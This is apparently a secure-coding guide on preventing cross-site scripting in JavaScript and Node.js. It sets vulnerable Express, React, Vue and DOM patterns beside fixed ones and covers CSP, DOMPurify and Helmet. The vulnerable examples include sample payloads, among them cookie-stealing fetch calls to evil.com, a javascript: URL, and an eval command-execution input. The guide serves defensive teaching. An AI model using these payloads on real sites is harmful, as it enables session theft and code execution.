CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') - JavaScript/Node.js
Overview
Cross-Site Scripting (XSS) vulnerabilities in JavaScript occur when untrusted data is rendered in web pages without proper encoding, allowing attackers to inject malicious scripts. This guide covers both server-side (Node.js/Express) and client-side (React, Vue, vanilla DOM) XSS prevention in JavaScript applications.
Primary Defence: Use framework auto-escaping (React JSX, Vue templates, template engines with escape: true), textContent for DOM manipulation, or DOMPurify for rich HTML sanitization. Avoid innerHTML, dangerouslySetInnerHTML, and eval() with user input.
Common Vulnerable Patterns
Express with Direct HTML Rendering
const express = require('express');
const app = express();
app.get('/profile', (req, res) => {
const username = req.query.username;
// VULNERABLE - User input directly embedded in HTML
res.send(`
<html>
<body>
<h1>Welcome ${username}</h1>
<p>Your profile page</p>
</body>
</html>
`);
});
// Attack: /profile?username=<script>alert(document.cookie)</script>
// Result: Script executes in victim's browser, stealing cookies
Why this is vulnerable: Template literals don't encode HTML special characters. The <script> tag executes as JavaScript.
innerHTML with User Content
// Frontend JavaScript
function displayMessage(message) {
const container = document.getElementById('messageBox');
// VULNERABLE - innerHTML interprets HTML/JavaScript
container.innerHTML = message;
}
// Called with user input
fetch('/api/messages')
.then(res => res.json())
.then(data => displayMessage(data.userMessage));
// If userMessage = "<img src=x onerror='alert(document.cookie)'>"
// Result: Script executes via onerror event
Why this is vulnerable: innerHTML parses HTML, allowing event handlers like onerror, onload, etc.
React dangerouslySetInnerHTML
import React from 'react';
function UserComment({ comment }) {
// VULNERABLE - Bypasses React's XSS protection
return (
<div dangerouslySetInnerHTML={{ __html: comment.text }} />
);
}
// If comment.text = "<img src=x onerror='fetch(\"https://evil.com?c=\" + document.cookie)'>"
// Result: Cookies exfiltrated to attacker's server
Why this is vulnerable: dangerouslySetInnerHTML explicitly disables React's auto-escaping.
Vue v-html Directive
<template>
<!-- VULNERABLE - v-html interprets HTML -->
<div v-html="userBio"></div>
</template>
<script>
export default {
data() {
return {
userBio: '' // Populated from API with user input
};
},
mounted() {
fetch('/api/user/bio')
.then(res => res.json())
.then(data => this.userBio = data.bio);
}
}
</script>
// If bio = "<svg onload='window.location=\"https://evil.com?c=\" + document.cookie'>"
// Result: User redirected and cookies stolen
Why this is vulnerable: v-html directive renders raw HTML, bypassing Vue's default escaping.
URL Scheme Injection
function createProfileLink(username, url) {
const link = document.createElement('a');
link.href = url; // VULNERABLE - No URL validation
link.textContent = `Visit ${username}'s website`;
document.body.appendChild(link);
}
// Called with:
// createProfileLink('Attacker', 'javascript:fetch("https://evil.com?c=" + document.cookie)');
// Result: Clicking link executes JavaScript
Why this is vulnerable: javascript: URLs execute code when clicked. No validation of URL scheme.
eval() with User Input
app.get('/calculate', (req, res) => {
const expression = req.query.expr;
try {
// VULNERABLE - eval executes arbitrary JavaScript
const result = eval(expression);
res.json({ result });
} catch (e) {
res.status(400).json({ error: 'Invalid expression' });
}
});
// Attack: /calculate?expr=require('child_process').execSync('whoami').toString()
// Result: Server-side code execution (even worse than XSS)
Why this is vulnerable: eval() executes arbitrary code, including Node.js APIs.
DOM XSS via location.hash
// Frontend JavaScript
window.onload = function() {
const message = decodeURIComponent(window.location.hash.substring(1));
// VULNERABLE - Hash value rendered as HTML
document.getElementById('welcome').innerHTML = `Welcome, ${message}!`;
};
// Attack URL: https://example.com/#<img src=x onerror='alert(document.cookie)'>
// Result: Script executes without server involvement (DOM-based XSS)
Why this is vulnerable: URL hash is client-controlled and rendered via innerHTML.
Template String Injection in EJS
const ejs = require('ejs');
const express = require('express');
const app = express();
app.get('/greeting', (req, res) => {
const name = req.query.name;
// VULNERABLE - Using template string instead of EJS variable
const template = `<h1>Hello ${name}</h1>`;
res.send(template);
});
// Attack: /greeting?name=<script>alert(1)</script>
// Result: Script executes because template literals don't encode
Why this is vulnerable: JavaScript template literals (backticks) are NOT XSS-safe. Use EJS <%= %> tags.
Secure Patterns
Express with Template Engine (EJS)
const express = require('express');
const app = express();
app.set('view engine', 'ejs');
app.get('/profile', (req, res) => {
const username = req.query.username;
// SECURE - EJS auto-escapes with <%= %>
res.render('profile', { username });
});
profile.ejs:
<html>
<body>
<!-- SECURE - <%= %> HTML-encodes output -->
<h1>Welcome <%= username %></h1>
<p>Your profile page</p>
</body>
</html>
Why this works: EJS <%= %> tags auto-escape HTML by default, converting <, >, &, and quotes to entities (<, >, &, ") before inserting values into the response. That stops reflected and stored XSS when rendering user-controlled data in views, and it holds without anyone remembering to call an encoder: every <%= %> expression is escaped at render time unless you opt out with <%- %> (unescaped), which should only carry pre-sanitized, trusted HTML. Pair with input validation and Content Security Policy for defense in depth.
DOM Manipulation with textContent
function displayMessage(message) {
const container = document.getElementById('messageBox');
// SECURE - textContent treats input as plain text
container.textContent = message;
}
// Alternative: createElement with textContent
function displayMessageAlt(message) {
const container = document.getElementById('messageBox');
const p = document.createElement('p');
p.textContent = message;
container.appendChild(p);
}
// Even with "<script>alert(1)</script>", it displays as literal text
Why this works: textContent never parses HTML or executes JavaScript - it only sets the text content of a DOM node. Assigning to it inserts the value as a text node, not markup, so characters like <, >, and quotes are displayed as-is without being interpreted. A payload such as <script>alert(1)</script> becomes visible harmless text instead of executable code, which closes both reflected and DOM-based XSS at this sink. createElement() + textContent builds the DOM the same way, without parsing user input as HTML. Avoid innerHTML, which parses markup and runs event handlers such as onerror; use textContent or innerText for user data.
React Default Rendering
import React from 'react';
function UserComment({ comment }) {
// SECURE - React auto-escapes JSX expressions
return (
<div>
<p>{comment.text}</p>
<span>By: {comment.author}</span>
</div>
);
}
// Even if comment.text contains <script>, React renders it as text
Why this works: React auto-escapes all values inside JSX {} expressions by default, converting special characters to HTML entities before rendering. Writing {comment.text} escapes <, >, &, and quotes, so user input is inserted as text nodes instead of executable markup - reflected and stored XSS in components are covered without manual encoding. Rendering raw HTML takes an explicit dangerouslySetInnerHTML, which should only carry pre-sanitized content (e.g., after DOMPurify). Pair with CSP.
Vue Default Rendering
<template>
<!-- SECURE - Mustache syntax auto-escapes -->
<div>{{ userBio }}</div>
</template>
<script>
export default {
data() {
return {
userBio: ''
};
},
mounted() {
fetch('/api/user/bio')
.then(res => res.json())
.then(data => this.userBio = data.bio);
}
}
</script>
Why this works: Vue's mustache syntax {{ }} automatically HTML-escapes all values, converting <, >, &, and quotes to entities before rendering. Binding user data with {{ userBio }} inserts it as text, not markup, preventing both reflected and stored XSS. As in React, the template compiler escapes at render time unless you explicitly opt out with v-html, which should only be used for trusted, pre-sanitized HTML (e.g., after DOMPurify). Use mustache syntax for almost all bindings, and combine with CSP and input validation for layered defense.
URL Validation with Allowlist
function createProfileLink(username, url) {
// SECURE - Validate URL scheme
const allowedSchemes = ['http:', 'https:'];
let validatedUrl;
try {
const parsed = new URL(url);
if (allowedSchemes.includes(parsed.protocol)) {
validatedUrl = url;
} else {
validatedUrl = '#'; // Fallback to no-op
}
} catch (e) {
validatedUrl = '#'; // Invalid URL
}
const link = document.createElement('a');
link.href = validatedUrl;
link.textContent = `Visit ${username}'s website`;
document.body.appendChild(link);
}
// javascript: URLs rejected, only http/https allowed
Why this works: The URL() constructor parses and validates URLs, throwing an error if the input is malformed. Checking parsed.protocol against an allowlist (['http:', 'https:']) rejects schemes like javascript:, data:, and vbscript: that can execute code when clicked. An invalid URL or a scheme outside the allowlist falls back to a no-op ('#'), so an attacker who controls the url parameter cannot land an executable payload in the href. Always use an allowlist (not a blocklist) for schemes, and combine with CSP to restrict script execution. For user-provided links, consider displaying a warning or preview before navigation.
Safe Expression Evaluation with math.js
const { create, all } = require('mathjs');
const express = require('express');
const app = express();
// The bare `math.evaluate` export leaves the parser's own entry points
// callable from inside the expression, so save the evaluator first and
// then disable them. Measured on mathjs 15.2.0: without this block,
// "evaluate('2+2')" returns 4 and "createUnit('foo')" defines a unit.
const math = create(all);
const limitedEvaluate = math.evaluate;
math.import({
import: () => { throw new Error('Function import is disabled'); },
createUnit: () => { throw new Error('Function createUnit is disabled'); },
reviver: () => { throw new Error('Function reviver is disabled'); },
evaluate: () => { throw new Error('Function evaluate is disabled'); },
parse: () => { throw new Error('Function parse is disabled'); },
simplify: () => { throw new Error('Function simplify is disabled'); },
derivative: () => { throw new Error('Function derivative is disabled'); },
resolve: () => { throw new Error('Function resolve is disabled'); },
}, { override: true });
app.get('/calculate', (req, res) => {
const expression = req.query.expr;
// A repeated query parameter (?expr=a&expr=b) arrives as an array,
// so check the type as well as the length.
if (typeof expression !== 'string' || expression.length > 200) {
return res.status(400).json({ error: 'Invalid expression' });
}
try {
const result = limitedEvaluate(expression);
res.json({ result: math.format(result, { precision: 14 }) });
} catch (e) {
res.status(400).json({ error: 'Invalid expression' });
}
});
// Accepts: "2 + 2 * 5" → 12
// Rejects: "require('fs').readFileSync('/etc/passwd')" → Undefined function require
// Rejects: "evaluate('2+2')" → Function evaluate is disabled
Why this works: math.js parses mathematical expressions instead of executing JavaScript source code. Unlike eval() or Function(), it does not expose the Node.js runtime as JavaScript syntax - require is not filtered out, it is simply a name the formula language has never heard of.
Treat it as a reduced expression parser rather than a complete sandbox. The math.import block is what makes "expose only the functions your feature needs" true of the code rather than only of this paragraph, and the length and type checks bound what reaches the parser. Results are formatted with math.format because evaluate returns objects for some inputs - a Matrix for [1,2], a Unit for 5 kg - which matters more in a browser template than in this JSON response. Keep the dependency current. CWE-95's JavaScript page has the full treatment, including what to check before adopting an expression parser at all.
DOM XSS Prevention with textContent
window.onload = function() {
const message = decodeURIComponent(window.location.hash.substring(1));
// SECURE - textContent renders as plain text
const welcomeEl = document.getElementById('welcome');
welcomeEl.textContent = `Welcome, ${message}!`;
};
// Hash value displays as text, never executed
Why this works: Using textContent to render URL fragments (like window.location.hash) prevents DOM-based XSS because the browser inserts values as text nodes, not parsed HTML. A crafted #<script>alert(1)</script> is displayed as visible text instead of being executed. That keeps hash and query parameters out of the classic DOM XSS sink, where they are read via JavaScript and inserted into the DOM via innerHTML, eval(), or document.write(). Always validate and sanitize URL parameters, and avoid innerHTML, outerHTML, document.write(), and eval() when handling URL-derived data.
Content Security Policy (CSP) Header
const express = require('express');
const app = express();
// SECURE - CSP prevents inline scripts
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; " +
"script-src 'self'; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:; " +
"font-src 'self'; " +
"connect-src 'self'; " +
"frame-ancestors 'none';"
);
next();
});
app.set('view engine', 'ejs');
app.get('/profile', (req, res) => {
res.render('profile', { username: req.query.username });
});
app.listen(3000);
Why this works: Content Security Policy (CSP) provides defense-in-depth by instructing the browser to block execution of injected scripts even if an XSS vulnerability exists. The sample policy restricts scripts to the same origin (script-src 'self'), so an injected <script>alert(1)</script> is refused - it is inline, and inline is not 'self' - and so are attacker-hosted payloads and event handlers like onclick. CSP also controls other resources (styles, images, fonts). Setting CSP headers server-side (via Express middleware) covers every response without per-route duplication. CSP is a mitigation layer, not a replacement for output encoding - combine both. Use report-uri to monitor violations and refine the policy.
DOMPurify for Rich HTML Content
// When you MUST render user HTML (e.g., blog posts with formatting)
import DOMPurify from 'dompurify';
function displayRichContent(htmlContent) {
const container = document.getElementById('content');
// SECURE - DOMPurify removes malicious tags/attributes
const clean = DOMPurify.sanitize(htmlContent, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href']
});
container.innerHTML = clean;
}
// Input: "<p>Hello <script>alert(1)</script></p>"
// Output: "<p>Hello </p>" (script tag removed)
Why this works: DOMPurify is a battle-tested HTML sanitizer that parses user-provided HTML and removes or rewrites dangerous tags, attributes, and JavaScript. Unlike output encoding (which converts <script> to <script>), sanitization keeps limited HTML - bold, italic, links - while stripping payloads like <script>, onerror handlers, and javascript: URLs. It works from an allowlist: only the tags and attributes in ALLOWED_TAGS and ALLOWED_ATTR are kept, and everything else is removed. The library handles edge cases (mutation XSS, mXSS, encoding tricks) that regex-based sanitizers miss. Use DOMPurify 3.4.13 or later when you must allow user-provided HTML (e.g., rich text editors, blog posts) but need to strip scripts. After sanitization, the cleaned HTML can be safely inserted via innerHTML. Pair with CSP for additional protection.
Helmet.js for Security Headers
const express = require('express');
const helmet = require('helmet');
const app = express();
// SECURE - Helmet sets multiple security headers
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"]
}
}
}));
app.set('view engine', 'ejs');
app.get('/profile', (req, res) => {
res.render('profile', { username: req.query.username });
});
app.listen(3000);
Why this works: Helmet.js sets multiple security-related HTTP headers in one place. The CSP directive (configured above) blocks inline scripts and limits resource origins, so an injected payload is refused even where encoding was missed. Helmet also sets headers such as X-Content-Type-Options: nosniff and clickjacking protections by default. Modern Helmet disables the legacy X-XSS-Protection browser filter because that feature is obsolete and can create its own risks; use CSP instead. Helmet is defense-in-depth, not a replacement for output encoding or input validation. Customize CSP directives to match your app's resource loading patterns.
Key Security Functions
Template Engine Escaping (EJS)
// Auto-escaping (USE THIS)
<%= userInput %> // HTML-encodes: < becomes <
// Raw output (DANGEROUS - avoid with user input)
<%- trustedHTML %> // No encoding
React Auto-Escaping
// SECURE - auto-escaped
<div>{userInput}</div>
// VULNERABLE - raw HTML bypasses escaping
<div dangerouslySetInnerHTML={{ __html: userInput }} />
Vue Auto-Escaping
// SECURE - auto-escaped
{{ userInput }}
// VULNERABLE - raw HTML bypasses escaping
<div v-html="userInput"></div>
DOM API Comparison
// SECURE - treats as text
element.textContent = userInput;
element.innerText = userInput; // Similar, with CSS considerations
element.setAttribute('data-value', userInput); // Safe for data-* attributes
// DANGEROUS - interprets HTML
element.innerHTML = userInput;
element.outerHTML = userInput;
element.insertAdjacentHTML('beforeend', userInput);
URL Validation
function isSafeURL(url) {
try {
const parsed = new URL(url);
return ['http:', 'https:'].includes(parsed.protocol);
} catch (e) {
return false; // Invalid URL
}
}
// Usage - a user-supplied link rendered on a profile page:
const link = document.createElement('a');
link.href = isSafeURL(profile.website) ? profile.website : '#';
HTML Encoding Without a Template Engine
Do not write a custom character-replacement function for HTML encoding on the server - it is easy to miss a character, get the replacement order wrong, or fall behind as new bypass techniques are found. Use a maintained encoding library instead:
// SECURE - a maintained encoder, not a hand-rolled character replacement
const escapeHtml = require('escape-html'); // or the `he` package's he.encode()
// Usage:
const safe = escapeHtml(userInput);
res.send(`<div>${safe}</div>`);
Framework-Specific Guidance
Express.js - Template Engines
const express = require('express');
const app = express();
// EJS (recommended)
app.set('view engine', 'ejs');
app.get('/page', (req, res) => {
res.render('page', { data: req.query.input });
});
// Template: <%= data %> (auto-escaped)
// Pug (formerly Jade)
app.set('view engine', 'pug');
app.get('/page', (req, res) => {
res.render('page', { data: req.query.input });
});
// Template: p= data (auto-escaped)
// Dangerous: p!= data (unescaped)
// Handlebars
const exphbs = require('express-handlebars');
app.engine('handlebars', exphbs());
app.set('view engine', 'handlebars');
// Template: {{data}} (auto-escaped)
// Dangerous: {{{data}}} (unescaped)
Next.js - Server-Side Rendering
// pages/profile.js
export async function getServerSideProps(context) {
const { username } = context.query;
return {
props: { username }
};
}
export default function Profile({ username }) {
// SECURE - Next.js auto-escapes
return (
<div>
<h1>Welcome {username}</h1>
</div>
);
}
// DANGEROUS - Don't use dangerouslySetInnerHTML with user input
Angular - Template Binding
// component.ts
import { Component } from '@angular/core';
import { DomSanitizer, SecurityContext } from '@angular/platform-browser';
@Component({
selector: 'app-comment',
template: `
<!-- SECURE - Angular auto-escapes -->
<div>{{ userComment }}</div>
<!-- Sanitized by Angular, but do not combine with bypassSecurityTrustHtml() -->
<div [innerHTML]="trustedHtml"></div>
`
})
export class CommentComponent {
userComment: string = '';
trustedHtml: string | null = '';
constructor(private sanitizer: DomSanitizer) {}
setComment(comment: string) {
this.userComment = comment; // Auto-escaped in template
// If you MUST render HTML, let Angular sanitize it first
this.trustedHtml = this.sanitizer.sanitize(SecurityContext.HTML, comment);
}
}
Typical XSS Findings
-
User input rendered in HTML context without encoding
- Location: Response contains
<h1>Welcome ${username}</h1> - Fix: Use template engine with auto-escaping:
<%= username %>
- Location: Response contains
-
innerHTML assignment with user-controlled data
- Location:
element.innerHTML = userInput; - Fix: Replace with
element.textContent = userInput;
- Location:
-
React dangerouslySetInnerHTML with external data
- Location:
<div dangerouslySetInnerHTML={{ __html: comment }} /> - Fix: Use default React rendering:
<div>{comment}</div>or DOMPurify for rich content
- Location:
-
URL attribute without scheme validation
- Location:
<a href={userUrl}>Click</a> - Fix: Validate URL scheme or use allowlist
- Location:
-
Missing Content-Security-Policy header
- Location: HTTP response headers
- Fix: Add CSP header:
script-src 'self'; object-src 'none';
-
eval() or Function() constructor with user input
- Location:
eval(userExpression) - Fix: Use safe parser like
math.jsor JSON.parse for data
- Location:
Testing
- Test normal values containing punctuation, Unicode, quotes, angle brackets, ampersands, and URLs.
- Test HTML payloads such as
<script>alert(1)</script>,<img src=x onerror=alert(1)>, and<svg onload=alert(1)>. - Test DOM-based flows from
location, query parameters, hash fragments, postMessage data, storage, and API responses. - Test framework escape opt-outs such as
dangerouslySetInnerHTML,v-html, triple-stash Handlebars, raw EJS output, andinnerHTML. - Test URL scheme payloads such as
javascript:alert(1)anddata:text/html,<script>alert(1)</script>. - Verify CSP reports or browser developer tools show injected inline scripts and event handlers blocked as a secondary control.
Defense in Depth
Layer 1: Output Encoding (Primary)
- Use template engines (EJS, Pug, Handlebars)
- Use framework defaults (React
{}, Vue{{ }}) - Use
textContentoverinnerHTML
Layer 2: Content Security Policy (Secondary)
- Set strict CSP header:
script-src 'self' - Use nonces for legitimate inline scripts
- Block
unsafe-inlineandunsafe-eval
// SECURE - CSP with a per-request nonce, set in one place
const crypto = require('crypto');
app.use((req, res, next) => {
// A nonce must be unpredictable and change on every response. A literal
// such as 'nonce-random123' is not a nonce: it appears in the response,
// so an attacker reads it and puts it on their own injected <script>,
// and the policy then authorises what it was added to stop.
res.locals.nonce = crypto.randomBytes(16).toString('base64');
// Build the whole policy here. Calling setHeader again replaces the
// header rather than merging, so a later middleware that sets only
// script-src silently drops frame-ancestors, base-uri and form-action.
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; " +
`script-src 'self' 'nonce-${res.locals.nonce}'; ` +
"img-src 'self' https:; " +
"connect-src 'self'; " +
"frame-ancestors 'none'; " +
"base-uri 'self'; " +
"form-action 'self'"
);
next();
});
// In the template, emit the same value on each inline script:
// <script nonce="<%= nonce %>">...</script>
CSP limits what an injected script can do; it does not stop the injection, so it belongs beside output encoding rather than instead of it.
Layer 3: Input Validation (Tertiary)
- Validate data types (email, numeric, etc.)
- Reject unexpected HTML tags on input
- Never rely solely on validation
Layer 4: Security Headers
- X-Content-Type-Options:
nosniff - X-Frame-Options:
DENY - Use Helmet.js for automatic header management (do not enable the legacy
X-XSS-Protectionheader; current browsers ignore it)
Common Pitfalls
- Using
innerHTML,outerHTML,insertAdjacentHTML, or raw template output for user-controlled strings. - Assuming React, Vue, Angular, or a template engine protects raw HTML escape hatches.
- Sanitizing rich HTML once and then mutating it with unsafe DOM APIs afterward.
- URL-encoding a value but failing to validate the URL scheme.
- Treating CSP or Helmet as the XSS fix instead of fixing the unsafe sink.
- Using expression parsers without dependency maintenance, complexity limits, and an allowlist of permitted operations.
Dependencies and Installation
- Use maintained template engines and their escaped output syntax, such as EJS
<%= %>, Pug escaped interpolation, or Handlebars{{ }}. - Use DOMPurify 3.4.13 or later for intentionally allowed rich HTML and keep sanitizer configuration narrow. Install with
npm install "dompurify@^3.4.13". - Use Helmet for security headers and configure CSP for the application's real script/style needs.
- Use math.js or another domain-specific parser only when expression evaluation is required; avoid JavaScript evaluation.
- Keep frontend framework, sanitizer, template engine, and security-header dependencies current.